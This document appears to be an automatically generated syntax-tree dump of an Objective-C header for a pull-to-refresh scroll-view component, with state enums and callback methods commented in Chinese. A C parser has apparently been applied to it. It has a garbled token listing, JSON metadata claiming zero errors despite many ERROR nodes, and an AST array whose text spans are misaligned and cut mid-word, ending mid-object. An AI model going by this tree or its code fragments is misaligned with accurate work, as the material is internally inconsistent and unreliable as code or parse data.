"fresh;" (,) "\n" (type_descriptor) "/**\n * 结" (type_identifier) "/**\n * 结" ()) "束" (ERROR) "新\n " (identifier) "新\n " (identifier) "/\n- (void)endRef" (;) "r" (comment) "sh;\n\n//设置事件\n- (voi" (ERROR) ")" (ERROR) ")" (declaration) "setRefreshingTarget:(id)target refreshingAction:(S" (macro_type_specifier) "setRefreshingTarget:(id)targ" (identifier) "setRefre" (() "h" (type_descriptor) "ingTarget" (type_identifier) "ingTarget" (ERROR) "(id)tar" (,) "(" (identifier) "id)tar" ()) "g" (ERROR) "t ref" (identifier) "t ref" (identifier) "eshingAction:(" (;) "S" (comment) ")action;\n\n//调用刷新方法\n- (void)" (ERROR) "xec" (-) "x" (() "c" (declaration) "uteRefreshing" (primitive_type) "uteR" (ERROR) "e" ()) "e" (identifier) "freshin" (;) "g" (comment) "llback;\n\n/** 当scrollView" (ERROR) "con" (-) "c" (() "n" (declaration) "tentOffset发生改变的时候调" (primitive_type) "tent" (ERROR) "O" ()) "O" (identifier) "ffset发生改变的时候" (;) "调" (comment) "*/\n- (void)scrollViewCon" (ERROR) "ent" (-) "e" (() "t" (declaration) "OffsetDidChange:" (primitive_type) "Offs" (ERROR) "e" ()) "e" (identifier) "tDidChange" (;) ":" (comment) "SDictionary *)" (ERROR) "han" (-) "h" (() "n" (declaration) "ge;\n/** 当scrollView的contentSize发生改变的时候调用 */\n- (void)scrollViewCon" (primitive_type) "ge;\n" (ERROR) "/** 当scrollView的contentSize发生改变的时候调用 */\n- (void)scroll" ()) "/" (identifier) "** 当scrollView的cont" (:) "e" (() "n" (identifier) "tS" ()) "i" (identifier) "ze发生改变" (identifier) "时候调用 */\n- (void)" (:) "s" (() "c" (identifier) "rol" ()) "l" (identifier) "ViewCo" (;) "n" (comment) "ntSizeDidChange:(NSD" (ERROR) "cti" (-) "c" (() "i" (declaration) "onary *)change;\n/** 当scrollView" (primitive_type) "onar" (ERROR) "y" ()) "y" (identifier) " *)change;\n/** 当scrollVie" (;) "w" (comment) "拽状态发生改变的时候调用 */\n- (void)scrollViewPanStateDidChange:(NSDictiona" (ERROR) "y *" (-) "y" (() "*" (declaration) ")change;\n@end\n" (primitive_type) ")cha" (ERROR) "nge;\n@end\n" ()) "n" (identifier) "ge;\n@end\n" (:) "" (() "" (identifier) "" (*) "" ()) "" (identifier) "" (;) "" (comment) "" (ERROR) "" (-) "" (() "" (declaration) "" (primitive_type) "" (ERROR) "" ()) "" (identifier) "" (:) "" (() "" (identifier) "" (*) "" ()) "" (identifier) "" (;) "" (comment) "" (ERROR) "" (-) "" (() "" (declaration) "" (primitive_type) "" (ERROR) "" ()) "" (identifier) "" (:) "" (() "" (identifier) "" (*) "" ()) "" (identifier) "" (;) "" (ERROR) "" (ERROR) "" (identifier) ""
255
41
{"language": "c", "success": true, "metadata": {"lines": 55, "avg_line_length": 24.2, "nodes": 155, "errors": 0, "source_hash": "8b64aba5d8a8a02ce4f7f3a624b2242f5a118d5a8e46790775a9f83fba82c07d", "categorized_nodes": 82}, "ast": {"root": "translation_unit", "nodes": [{"id": 0, "type": "preproc_call", "text": "UIKit.h>\n\n/** \u5237\u65b0\u63a7\u4ef6\u7684\u72b6\u6001 */", "parent": null, "children": [1, 2], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 9, "column": 0}}, {"id": 1, "type": "preproc_directive", "text": "UIKit.h", "parent": 0, "children": [], "start_point": {"row": 8, "column": 0}, "end_point": {"row": 8, "column": 7}}, {"id": 2, "type": "preproc_arg", "text": "\n\n/** \u5237\u65b0\u63a7\u4ef6\u7684\u72b6\u6001 *", "parent": 0, "children": [], "start_point": {"row": 8, "column": 8}, "end_point": {"row": 8, "column": 23}}, {"id": 3, "type": "ERROR", "text": "RefreshState) {\n /** \u666e\u901a\u95f2\u7f6e\u72b6\u6001 */\n CBWRefreshStateIdle = 1,\n /** \u677e\u5f00\u5c31\u53ef\u4ee5\u8fdb\u884c\u5237\u65b0\u7684\u72b6\u6001 */\n CBWRefreshStatePulling,\n /** \u6b63\u5728\u5237\u65b0\u4e2d\u7684\u72b6\u6001 */\n CBWRefreshStateRefreshing,\n /** \u5373\u5c06\u5237\u65b0\u7684\u72b6\u6001 */\n CBWRefreshStateWillRefresh,\n /** \u6240\u6709\u6570\u636e\u52a0\u8f7d\u5b8c\u6bd5\uff0c\u6ca1\u6709\u66f4\u591a\u7684\u6570\u636e\u4e86 */\n CBWRefreshStateNoMoreData\n};\n\n@interface CBWrefreshComponet : UIView\n\n/** \u5904\u4e8e\u5237\u65b0\u7684\u72b6\u6001*/\n@property (nonatomic ,assign) CBWRefreshState state;\n/** \u83b7\u53d6\u6b63\u5728\u6eda\u52a8\u7684 scrolView*/\n@property (nonatomic ,weak) UIScrollView *scrollView;\n/** \u56de\u8c03\u5bf9\u8c61 */\n@property (weak, nonatomic) id refreshingTarget;\n/** \u56de\u8c03\u65b9\u6cd5 */\n@property (assign, nonatomic) SEL refreshingAction;\n/** \u4e0b\u62c9\u6bd4\u4f8b*/\n@property (nonatomic ,assign) float pullingPercent;\n\n/**\n * \u521d\u59cb\u5316\u63a7\u4ef6\n */\n- (void)prepare;\n\n/**\n * \u5f00\u59cb\u5237\u65b0\n */\n- (void)beginRefresh;\n\n/**\n * \u7ed3\u675f\u5237\u65b0\n */\n- (void)endRefresh;\n\n//\u8bbe\u7f6e\u4e8b\u4ef6\n- (void)setRefreshingTarget:(id)target refreshingAction:(SEL)action;\n\n//\u8c03\u7528\u5237\u65b0\u65b9\u6cd5\n- (void)executeRefreshingCallback;\n\n/** \u5f53scrollView\u7684contentOffset\u53d1\u751f\u6539\u53d8\u7684\u65f6\u5019\u8c03\u7528 */\n- (void)scrollViewContentOffsetDidChange:(NSDictionary *)change;\n/** \u5f53scrollView\u7684contentSize\u53d1\u751f\u6539\u53d8\u7684\u65f6\u5019\u8c03\u7528 */\n- (void)scrollViewContentSizeDidChange:(NSDictionary *)change;\n/** \u5f53scrollView\u7684\u62d6\u62fd\u72b6\u6001\u53d1\u751f\u6539\u53d8\u7684\u65f6\u5019\u8c03\u7528 */\n- (void)scrollViewPanStateDidChange:(NSDictionary *)change;\n@end\n", "parent": null, "children": [4, 5, 25, 27, 28, 32, 37, 40, 42, 54, 56, 67, 69, 80, 90, 92, 96, 98, 102, 104, 108, 110, 119, 121, 125, 127, 134, 136, 143, 145, 152, 154], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 64, "column": 4}}, {"id": 4, "type": "typedef", "text": "Refresh", "parent": 3, "children": [], "start_point": {"row": 11, "column": 0}, "end_point": {"row": 11, "column": 7}}, {"id": 5, "type": "macro_type_specifier", "text": "tate) {\n /** \u666e\u901a\u95f2\u7f6e\u72b6\u6001 */\n CBWR", "parent": 3, "children": [6, 7, 10], "start_point": {"row": 11, "column": 8}, "end_point": {"row": 11, "column": 42}}, {"id": 6, "type": "identifier", "text": "tate) {", "parent": 5, "children": [], "start_point": {"row": 11, "column": 8}, "end_point": {"row": 11, "column": 15}}, {"id": 7, "type": "ERROR", "text": " /** \u666e\u901a", "parent": 5, "children": [8], "start_point": {"row": 11, "column": 16}, "end_point": {"row": 11, "column": 26}}, {"id": 8, "type": "type_descriptor", "text": " /** \u666e", "parent": 7, "children": [9], "start_point": {"row": 11, "column": 16}, "end_point": {"row": 11, "column": 25}}, {"id": 9, "type": "type_identifier", "text": " /** \u666e", "parent": 8, "children": [], "start_point": {"row": 11, "column": 16}, "end_point": {"row": 11, "column": 25}}, {"id": 10, "type": "type_descriptor", "text": "\u95f2\u7f6e\u72b6\u6001 */\n CBW", "parent": 5, "children": [11], "start_point": {"row": 11, "column": 26}, "end_point": {"row": 11, "column": 41}}, {"id": 11, "type": "type_identifier", "text": "\u95f2\u7f6e\u72b6\u6001 */\n CBW", "parent": 10, "children": [], "start_point": {"row": 11, "column": 26}, "end_point": {"row": 11, "column": 41}}, {"id": 12, "type": "comma_expression", "text": "\u65b0\u7684\u72b6\u6001 */\n CBWRefreshStatePulling,\n /** \u6b63\u5728\u5237\u65b0\u4e2d\u7684\u72b6\u6001 */\n CBWRefreshStateRefreshing,\n /** \u5373\u5c06\u5237\u65b0\u7684\u72b6\u6001 */\n CBWRefreshStateWillRefresh,\n /** \u6240\u6709\u6570\u636e\u52a0\u8f7d\u5b8c\u6bd5\uff0c\u6ca1\u6709\u66f4\u591a\u7684\u6570\u636e\u4e86 */\n CBWRefreshStateNoMoreData\n};\n\n@interface CBWrefreshComponet : UIView\n\n/** \u5904\u4e8e\u5237\u65b0\u7684\u72b6\u6001*/\n@property (nonatomic ,assign) CBWRefreshState state;\n/** \u83b7\u53d6\u6b63\u5728\u6eda\u52a8\u7684 scrol", "parent": 3, "children": [13, 17], "start_point": {"row": 13, "column": 4}, "end_point": {"row": 21, "column": 29}}, {"id": 13, "type": "assignment_expression", "text": "\u65b0\u7684\u72b6\u6001 */\n CBWRefreshS", "parent": 12, "children": [14, 15, 16], "start_point": {"row": 13, "column": 4}, "end_point": {"row": 13, "column": 27}}, {"id": 14, "type": "identifier", "text": "\u65b0\u7684\u72b6\u6001 */\n CBWRefr", "parent": 13, "children": [], "start_point": {"row": 13, "column": 4}, "end_point": {"row": 13, "column": 23}}, {"id": 15, "type": "=", "text": "s", "parent": 13, "children": [], "start_point": {"row": 13, "column": 24}, "end_point": {"row": 13, "column": 25}}, {"id": 16, "type": "number_literal", "text": "S", "parent": 13, "children": [], "start_point": {"row": 13, "column": 26}, "end_point": {"row": 13, "column": 27}}, {"id": 17, "type": "comma_expression", "text": "freshing,\n /** \u5373\u5c06\u5237\u65b0\u7684\u72b6\u6001 */\n CBWRefreshStateWillRefresh,\n /** \u6240\u6709\u6570\u636e\u52a0\u8f7d\u5b8c\u6bd5\uff0c\u6ca1\u6709\u66f4\u591a\u7684\u6570\u636e\u4e86 */\n CBWRefreshStateNoMoreData\n};\n\n@interface CBWrefreshComponet : UIView\n\n/** \u5904\u4e8e\u5237\u65b0\u7684\u72b6\u6001*/\n@property (nonatomic ,assign) CBWRefreshState state;\n/** \u83b7\u53d6\u6b63\u5728\u6eda\u52a8\u7684 scrol", "parent": 12, "children": [18, 19], "start_point": {"row": 15, "column": 4}, "end_point": {"row": 21, "column": 29}}, {"id": 18, "type": "identifier", "text": "freshing,\n /** \u5373\u5c06\u5237\u65b0", "parent": 17, "children": [], "start_point": {"row": 15, "column": 4}, "end_point": {"row": 15, "column": 26}}, {"id": 19, "type": "comma_expression", "text": " /** \u6240\u6709\u6570\u636e\u52a0\u8f7d\u5b8c\u6bd5\uff0c\u6ca1\u6709\u66f4\u591a\u7684\u6570\u636e\u4e86 */\n CBWRefreshStateNoMoreData\n};\n\n@interface CBWrefreshComponet : UIView\n\n/** \u5904\u4e8e\u5237\u65b0\u7684\u72b6\u6001*/\n@property (nonatomic ,assign) CBWRefreshState state;\n/** \u83b7\u53d6\u6b63\u5728\u6eda\u52a8\u7684 scrol", "parent": 17, "children": [20, 21], "start_point": {"row": 17, "column": 4}, "end_point": {"row": 21, "column": 29}}, {"id": 20, "type": "identifier", "text": " /** \u6240\u6709\u6570\u636e\u52a0\u8f7d\u5b8c\u6bd5\uff0c\u6ca1\u6709\u66f4\u591a\u7684\u6570\u636e\u4e86 */", "parent": 19, "children": [], "start_point": {"row": 17, "column": 4}, "end_point": {"row": 17, "column": 29}}, {"id": 21, "type": "comma_expression", "text": "erface CBWrefreshComponet : UIView\n\n/** \u5904\u4e8e\u5237\u65b0\u7684\u72b6\u6001*/\n@property (nonatomic ,assign) CBWRefreshState state;\n/** \u83b7\u53d6\u6b63\u5728\u6eda\u52a8\u7684 scrol", "parent": 19, "children": [22, 23], "start_point": {"row": 19, "column": 4}, "end_point": {"row": 21, "column": 29}}, {"id": 22, "type": "identifier", "text": "erface CBWrefreshComponet ", "parent": 21, "children": [], "start_point": {"row": 19, "column": 4}, "end_point": {"row": 19, "column": 30}}, {"id": 23, "type": "identifier", "text": " state;\n/** \u83b7\u53d6\u6b63\u5728\u6eda\u52a8\u7684 scrol", "parent": 21, "children": [], "start_point": {"row": 21, "column": 4}, "end_point": {"row": 21, "column": 29}}, {"id": 24, "type": "ERROR", "text": "i", "parent": 3, "children": [], "start_point": {"row": 22, "column": 0}, "end_point": {"row": 22, "column": 1}}, {"id": 25, "type": "ERROR", "text": "/", "parent": 3, "children": [26], "start_point": {"row": 24, "column": 0}, "end_point": {"row": 24, "column": 1}}, {"id": 26, "type": "ERROR", "text": "/", "parent": 25, "children": [], "start_point": {"row": 24, "column": 0}, "end_point": {"row": 24, "column": 1}}, {"id": 27, "type": "type_identifier", "text": "\n@propert", "parent": 3, "children": [], "start_point": {"row": 24, "column": 1}, "end_point": {"row": 24, "column": 10}}, {"id": 28, "type": "ERROR", "text": " (nonatomic ,weak) UIScrollView *scrollView;\n/** \u56de\u8c03\u5bf9\u8c61 */\n@", "parent": 3, "children": [29, 30, 31], "start_point": {"row": 24, "column": 11}, "end_point": {"row": 27, "column": 1}}, {"id": 29, "type": "identifier", "text": " (nonatomic ,weak)", "parent": 28, "children": [], "start_point": {"row": 24, "column": 11}, "end_point": {"row": 24, "column": 29}}, {"id": 30, "type": "identifier", "text": "Scroll", "parent": 28, "children": [], "start_point": {"row": 24, "column": 32}, "end_point": {"row": 24, "column": 38}}, {"id": 31, "type": "ERROR", "text": "@", "parent": 28, "children": [], "start_point": {"row": 27, "column": 0}, "end_point": {"row": 27, "column": 1}}, {"id": 32, "type": "function_declarator", "text": "property (weak, nonatomic) i", "parent": 3, "children": [33, 34], "start_point": {"row": 27, "column": 1}, "end_point": {"row": 27, "column": 29}}, {"id": 33, "type": "identifier", "text": "property", "parent": 32, "children": [], "start_point": {"row": 27, "column": 1}, "end_point": {"row": 27, "column": 9}}, {"id": 34, "type": "parameter_list", "text": "(weak, nonatomic) i", "parent": 32, "children": [35, 36], "start_point": {"row": 27, "column": 10}, "end_point": {"row": 27, "column": 29}}, {"id": 35, "type": "identifier", "text": "weak, non", "parent": 34, "children": [], "start_point": {"row": 27, "column": 11}, "end_point": {"row": 27, "column": 20}}, {"id": 36, "type": "identifier", "text": "omic) ", "parent": 34, "children": [], "start_point": {"row": 27, "column": 22}, "end_point": {"row": 27, "column": 28}}, {"id": 37, "type": "declaration", "text": " refreshingTarget;\n/**", "parent": 3, "children": [38, 39], "start_point": {"row": 27, "column": 30}, "end_point": {"row": 27, "column": 52}}, {"id": 38, "type": "type_identifier", "text": " refreshingTarg", "parent": 37, "children": [], "start_point": {"row": 27, "column": 30}, "end_point": {"row": 27, "column": 45}}, {"id": 39, "type": "identifier", "text": "t;\n/*", "parent": 37, "children": [], "start_point": {"row": 27, "column": 46}, "end_point": {"row": 27, "column": 51}}, {"id": 40, "type": "ERROR", "text": "S", "parent": 3, "children": [41], "start_point": {"row": 29, "column": 0}, "end_point": {"row": 29, "column": 1}}, {"id": 41, "type": "ERROR", "text": "S", "parent": 40, "children": [], "start_point": {"row": 29, "column": 0}, "end_point": {"row": 29, "column": 1}}, {"id": 42, "type": "declaration", "text": "EL refreshingAction;\n/** \u4e0b\u62c9\u6bd4\u4f8b*/\n@property (nonatomic", "parent": 3, "children": [43, 49, 51], "start_point": {"row": 29, "column": 1}, "end_point": {"row": 29, "column": 53}}, {"id": 43, "type": "macro_type_specifier", "text": "EL refreshingAction;\n/** \u4e0b", "parent": 42, "children": [44, 45, 47], "start_point": {"row": 29, "column": 1}, "end_point": {"row": 29, "column": 27}}, {"id": 44, "type": "identifier", "text": "EL refre", "parent": 43, "children": [], "start_point": {"row": 29, "column": 1}, "end_point": {"row": 29, "column": 9}}, {"id": 45, "type": "type_descriptor", "text": "ingAction", "parent": 43, "children": [46], "start_point": {"row": 29, "column": 11}, "end_point": {"row": 29, "column": 20}}, {"id": 46, "type": "type_identifier", "text": "ingAction", "parent": 45, "children": [], "start_point": {"row": 29, "column": 11}, "end_point": {"row": 29, "column": 20}}, {"id": 47, "type": "ERROR", "text": "\n/** ", "parent": 43, "children": [48], "start_point": {"row": 29, "column": 21}, "end_point": {"row": 29, "column": 26}}, {"id": 48, "type": "identifier", "text": "/** ", "parent": 47, "children": [], "start_point": {"row": 29, "column": 22}, "end_point": {"row": 29, "column": 26}}, {"id": 49, "type": "ERROR", "text": "\u6bd4\u4f8b*/\n@proper", "parent": 42, "children": [50], "start_point": {"row": 29, "column": 28}, "end_point": {"row": 29, "column": 40}}, {"id": 50, "type": "identifier", "text": "\u6bd4\u4f8b*/\n@proper", "parent": 49, "children": [], "start_point": {"row": 29, "column": 28}, "end_point": {"row": 29, "column": 40}}, {"id": 51, "type": "pointer_declarator", "text": "y (nonatomi", "parent": 42, "children": [52, 53], "start_point": {"row": 29, "column": 41}, "end_point": {"row": 29, "column": 52}}, {"id": 52, "type": "*", "text": "y", "parent": 51, "children": [], "start_point": {"row": 29, "column": 41}, "end_point": {"row": 29, "column": 42}}, {"id": 53, "type": "identifier", "text": " (nonatomi", "parent": 51, "children": [], "start_point": {"row": 29, "column": 42}, "end_point": {"row": 29, "column": 52}}, {"id": 54, "type": "ERROR", "text": "n", "parent": 3, "children": [55], "start_point": {"row": 31, "column": 0}, "end_point": {"row": 31, "column": 1}}, {"id": 55, "type": "ERROR", "text": "n", "parent": 54, "children": [], "start_point": {"row": 31, "column": 0}, "end_point": {"row": 31, "column": 1}}, {"id": 56, "type": "declaration", "text": "gPercent;\n\n/**\n * \u521d\u59cb\u5316\u63a7\u4ef6\n */\n- (void)prepare;\n\n", "parent": 3, "children": [57, 64, 66], "start_point": {"row": 31, "column": 1}, "end_point": {"row": 31, "column": 48}}, {"id": 57, "type": "macro_type_specifier", "text": "gPercent;\n\n/**\n * \u521d\u59cb\u5316\u63a7\u4ef6\n ", "parent": 56, "children": [58, 59, 62], "start_point": {"row": 31, "column": 1}, "end_point": {"row": 31, "column": 27}}, {"id": 58, "type": "identifier", "text": "gPercent", "parent": 57, "children": [], "start_point": {"row": 31, "column": 1}, "end_point": {"row": 31, "column": 9}}, {"id": 59, "type": "ERROR", "text": "\n/**\n", "parent": 57, "children": [60], "start_point": {"row": 31, "column": 11}, "end_point": {"row": 31, "column": 16}}, {"id": 60, "type": "type_descriptor", "text": "\n/**", "parent": 59, "children": [61], "start_point": {"row": 31, "column": 11}, "end_point": {"row": 31, "column": 15}}, {"id": 61, "type": "type_identifier", "text": "\n/**", "parent": 60, "children": [], "start_point": {"row": 31, "column": 11}, "end_point": {"row": 31, "column": 15}}, {"id": 62, "type": "type_descriptor", "text": "* \u521d\u59cb\u5316\u63a7\u4ef6\n", "parent": 57, "children": [63], "start_point": {"row": 31, "column": 17}, "end_point": {"row": 31, "column": 26}}, {"id": 63, "type": "type_identifier", "text": "* \u521d\u59cb\u5316\u63a7\u4ef6\n", "parent": 62, "children": [], "start_point": {"row": 31, "column": 17}, "end_point": {"row": 31, "column": 26}}, {"id": 64, "type": "ERROR", "text": "/\n", "parent": 56, "children": [65], "start_point": {"row": 31, "column": 28}, "end_point": {"row": 31, "column": 30}}, {"id": 65, "type": "identifier", "text": "/\n", "parent": 64, "children": [], "start_point": {"row": 31, "column": 28}, "end_point": {"row": 31, "column": 30}}, {"id": 66, "type": "identifier", "text": " (void)prepare;\n", "parent": 56, "children": [], "start_point": {"row": 31, "column": 31}, "end_point": {"row": 31, "column": 47}}, {"id": 67, "type": "ERROR", "text": "o", "parent": 3, "children": [68], "start_point": {"row": 33, "column": 0}, "end_point": {"row": 33, "column": 1}}, {"id": 68, "type": "ERROR", "text": "o", "parent": 67, "children": [], "start_point": {"row": 33, "column": 0}, "end_point": {"row": 33, "column": 1}}, {"id": 69, "type": "declaration", "text": "id)beginRefresh;\n\n/**\n * \u7ed3\u675f\u5237\u65b0\n */\n- (void)endRefr", "parent": 3, "children": [70, 77, 79], "start_point": {"row": 33, "column": 1}, "end_point": {"row": 33, "column": 51}}, {"id": 70, "type": "macro_type_specifier", "text": "id)beginRefresh;\n\n/**\n * \u7ed3\u675f", "parent": 69, "children": [71, 72, 75], "start_point": {"row": 33, "column": 1}, "end_point": {"row": 33, "column": 29}}, {"id": 71, "type": "identifier", "text": "id)begin", "parent": 70, "children": [], "start_point": {"row": 33, "column": 1}, "end_point": {"row": 33, "column": 9}}, {"id": 72, "type": "ERROR", "text": "fresh;\n", "parent": 70, "children": [73], "start_point": {"row": 33, "column": 11}, "end_point": {"row": 33, "column": 18}}, {"id": 73, "type": "type_descriptor", "text": "fresh;", "parent": 72, "children": [74], "start_point": {"row": 33, "column": 11}, "end_point": {"row": 33, "column": 17}}, {"id": 74, "type": "type_identifier", "text": "fresh;", "parent": 73, "children": [], "start_point": {"row": 33, "column": 11}, "end_point": {"row": 33, "column": 17}}, {"id": 75, "type": "type_descriptor", "text": "/**\n * \u7ed3", "parent": 70, "children": [76], "start_point": {"row": 33, "column": 19}, "end_point": {"row": 33, "column": 28}}, {"id": 76, "type": "type_identifier", "text": "/**\n * \u7ed3", "parent": 75, "children": [], "start_point": {"row": 33, "column": 19}, "end_point": {"row": 33, "column": 28}}, {"id": 77, "type": "ERROR", "text": "\u65b0\n ", "parent": 69, "children": [78], "start_point": {"row": 33, "column": 30}, "end_point": {"row": 33, "column": 33}}, {"id": 78, "type": "identifier", "text": "\u65b0\n ", "parent": 77, "children": [], "start_point": {"row": 33, "column": 30}, "end_point": {"row": 33, "column": 33}}, {"id": 79, "type": "identifier", "text": "/\n- (void)endRef", "parent": 69, "children": [], "start_point": {"row": 33, "column": 34}, "end_point": {"row": 33, "column": 50}}, {"id": 80, "type": "declaration", "text": "setRefreshingTarget:(id)target refreshingAction:(S", "parent": 3, "children": [81, 87, 89], "start_point": {"row": 35, "column": 1}, "end_point": {"row": 35, "column": 51}}, {"id": 81, "type": "macro_type_specifier", "text": "setRefreshingTarget:(id)targ", "parent": 80, "children": [82, 83, 85], "start_point": {"row": 35, "column": 1}, "end_point": {"row": 35, "column": 29}}, {"id": 82, "type": "identifier", "text": "setRefre", "parent": 81, "children": [], "start_point": {"row": 35, "column": 1}, "end_point": {"row": 35, "column": 9}}, {"id": 83, "type": "type_descriptor", "text": "ingTarget", "parent": 81, "children": [84], "start_point": {"row": 35, "column": 11}, "end_point": {"row": 35, "column": 20}}, {"id": 84, "type": "type_identifier", "text": "ingTarget", "parent": 83, "children": [], "start_point": {"row": 35, "column": 11}, "end_point": {"row": 35, "column": 20}}, {"id": 85, "type": "ERROR", "text": "(id)tar", "parent": 81, "children": [86], "start_point": {"row": 35, "column": 21}, "end_point": {"row": 35, "column": 28}}, {"id": 86, "type": "identifier", "text": "id)tar", "parent": 85, "children": [], "start_point": {"row": 35, "column": 22}, "end_point": {"row": 35, "column": 28}}, {"id": 87, "type": "ERROR", "text": "t ref", "parent": 80, "children": [88], "start_point": {"row": 35, "column": 30}, "end_point": {"row": 35, "column": 35}}, {"id": 88, "type": "identifier", "text": "t ref", "parent": 87, "children": [], "start_point": {"row": 35, "column": 30}, "end_point": {"row": 35, "column": 35}}, {"id": 89, "type": "identifier", "text": "eshingAction:(", "parent": 80, "children": [], "start_point": {"row": 35, "column": 36}, "end_point": {"row": 35, "column": 50}}, {"id": 90, "type": "ERROR", "text": "xec", "parent": 3, "children": [91], "start_point": {"row": 40, "column": 0}, "end_point": {"row": 40, "column": 3}}, {"id": 91, "type": "-", "text": "x", "parent": 90, "children": [], "start_point": {"row": 40, "column": 0}, "end_point": {"row": 40, "column": 1}}, {"id": 92, "type": "declaration", "text": "uteRefreshing", "parent": 3, "children": [93, 94, 95], "start_point": {"row": 40, "column": 3}, "end_point": {"row": 40, "column": 16}}, {"id": 93, "type": "primitive_type", "text": "uteR", "parent": 92, "children": [], "start_point": {"row": 40, "column": 3}, "end_point": {"row": 40, "column": 7}}, {"id": 94, "type": "ERROR", "text": "e", "parent": 92, "children": [], "start_point": {"row": 40, "column": 7}, "end_point": {"row": 40, "column": 8}}, {"id": 95, "type": "identifier", "text": "freshin", "parent": 92, "children": [], "start_point": {"row": 40, "column": 8}, "end_point": {"row": 40, "column": 15}}, {"id": 96, "type": "ERROR", "text": "con", "parent": 3, "children": [97], "start_point": {"row": 45, "column": 0}, "end_point": {"row": 45, "column": 3}}, {"id": 97, "type": "-", "text": "c", "parent": 96, "children": [], "start_point": {"row": 45, "column": 0}, "end_point": {"row": 45, "column": 1}}, {"id": 98, "type": "declaration", "text": "tentOffset\u53d1\u751f\u6539\u53d8\u7684\u65f6\u5019\u8c03", "parent": 3, "children": [99, 100, 101], "start_point": {"row": 45, "column": 3}, "end_point": {"row": 45, "column": 21}}, {"id": 99, "type": "primitive_type", "text": "tent", "parent": 98, "children": [], "start_point": {"row": 45, "column": 3}, "end_point": {"row": 45, "column": 7}}, {"id": 100, "type": "ERROR", "text": "O", "parent": 98, "children": [], "start_point": {"row": 45, "column": 7}, "end_point": {"row": 45, "column": 8}}, {"id": 101, "type": "identifier", "text": "ffset\u53d1\u751f\u6539\u53d8\u7684\u65f6\u5019", "parent": 98, "children": [], "start_point": {"row": 45, "column": 8}, "end_point": {"row": 45, "column": 20}}, {"id": 102, "type": "ERROR", "text": "ent", "parent": 3, "children": [103], "start_point": {"row": 50, "column": 0}, "end_point": {"row": 50, "column": 3}}, {"id": 103, "type": "-", "text": "e", "parent": 102, "children": [], "start_point": {"row": 50, "column": 0}, "end_point": {"row": 50, "column": 1}}, {"id": 104, "type": "declaration", "text": "OffsetDidChange:", "parent": 3, "children": [105, 106, 107], "start_point": {"row": 50, "column": 3}, "end_point": {"row": 50, "column": 19}}, {"id": 105, "type": "primitive_type", "text": "Offs", "parent": 104, "children": [], "start_point": {"row": 50, "column": 3}, "end_point": {"row": 50, "column": 7}}, {"id": 106, "type": "ERROR", "text": "e", "parent": 104, "children": [], "start_point": {"row": 50, "column": 7}, "end_point": {"row": 50, "column": 8}}, {"id": 107, "type": "identifier", "text": "tDidChange", "parent": 104, "children": [], "start_point": {"row": 50, "column": 8}, "end_point": {"row": 50, "column": 18}}, {"id": 108, "type": "ERROR", "text": "han", "parent": 3, "children": [109], "start_point": {"row": 53, "column": 0}, "end_point": {"row": 53, "column": 3}}, {"id": 109, "type": "-", "text": "h", "parent": 108, "children": [], "start_point": {"row": 53, "column": 0}, "end_point": {"row": 53, "column": 1}}, {"id": 110, "type": "declaration", "text": "ge;\n/** \u5f53scrollView\u7684contentSize\u53d1\u751f\u6539\u53d8\u7684\u65f6\u5019\u8c03\u7528 */\n- (void)scrollViewCon", "parent": 3, "children": [111, 112, 118], "start_point": {"row": 53, "column": 3}, "end_point": {"row": 53, "column": 68}}, {"id": 111, "type": "primitive_type", "text": "ge;\n", "parent": 110, "children": [], "start_point": {"row": 53, "column": 3}, "end_point": {"row": 53, "column": 7}}, {"id": 112, "type": "ERROR", "text": "/** \u5f53scrollView\u7684contentSize\u53d1\u751f\u6539\u53d8\u7684\u65f6\u5019\u8c03\u7528 */\n- (void)scroll", "parent": 110, "children": [113, 114, 115, 116, 117], "start_point": {"row": 53, "column": 7}, "end_point": {"row": 53, "column": 61}}, {"id": 113, "type": "identifier", "text": "** \u5f53scrollView\u7684cont", "parent": 112, "children": [], "start_point": {"row": 53, "column": 8}, "end_point": {"row": 53, "column": 27}}, {"id": 114, "type": "identifier", "text": "tS", "parent": 112, "children": [], "start_point": {"row": 53, "column": 29}, "end_point": {"row": 53, "column": 31}}, {"id": 115, "type": "identifier", "text": "ze\u53d1\u751f\u6539\u53d8", "parent": 112, "children": [], "start_point": {"row": 53, "column": 32}, "end_point": {"row": 53, "column": 38}}, {"id": 116, "type": "identifier", "text": "\u65f6\u5019\u8c03\u7528 */\n- (void)", "parent": 112, "children": [], "start_point": {"row": 53, "column": 39}, "end_point": {"row": 53, "column": 55}}, {"id": 117, "type": "identifier", "text": "rol", "parent": 112, "children": [], "start_point": {"row": 53, "column": 57}, "end_point": {"row": 53, "column": 60}}, {"id": 118, "type": "identifier", "text": "ViewCo", "parent": 110, "children": [], "start_point": {"row": 53, "column": 61}, "end_point": {"row": 53, "column": 67}}, {"id": 119, "type": "ERROR", "text": "cti", "parent": 3, "children": [120], "start_point": {"row": 56, "column": 0}, "end_point": {"row": 56, "column": 3}}, {"id": 120, "type": "-", "text": "c", "parent": 119, "children": [], "start_point": {"row": 56, "column": 0}, "end_point": {"row": 56, "column": 1}}, {"id": 121, "type": "declaration", "text": "onary *)change;\n/** \u5f53scrollView", "parent": 3, "children": [122, 123, 124], "start_point": {"row": 56, "column": 3}, "end_point": {"row": 56, "column": 34}}, {"id": 122, "type": "primitive_type", "text": "onar", "parent": 121, "children": [], "start_point": {"row": 56, "column": 3}, "end_point": {"row": 56, "column": 7}}, {"id": 123, "type": "ERROR", "text": "y", "parent": 121, "children": [], "start_point": {"row": 56, "column": 7}, "end_point": {"row": 56, "column": 8}}, {"id": 124, "type": "identifier", "text": " *)change;\n/** \u5f53scrollVie", "parent": 121, "children": [], "start_point": {"row": 56, "column": 8}, "end_point": {"row": 56, "column": 33}}, {"id": 125, "type": "ERROR", "text": "y *", "parent": 3, "children": [126], "start_point": {"row": 59, "column": 0}, "end_point": {"row": 59, "column": 3}}, {"id": 126, "type": "-", "text": "y", "parent": 125, "children": [], "start_point": {"row": 59, "column": 0}, "end_point": {"row": 59, "column": 1}}, {"id": 127, "type": "declaration", "text": ")change;\n@end\n", "parent": 3, "children": [128, 129, 133], "start_point": {"row": 59, "column": 3}, "end_point": {"row": 59, "column": 64}}, {"id": 128, "type": "primitive_type", "text": ")cha", "parent": 127, "children": [], "start_point": {"row": 59, "column": 3}, "end_point": {"row": 59, "column": 7}}, {"id": 129, "type": "ERROR", "text": "nge;\n@end\n", "parent": 127, "children": [130, 131, 132], "start_point": {"row": 59, "column": 7}, "end_point": {"row": 59, "column": 57}}, {"id": 130, 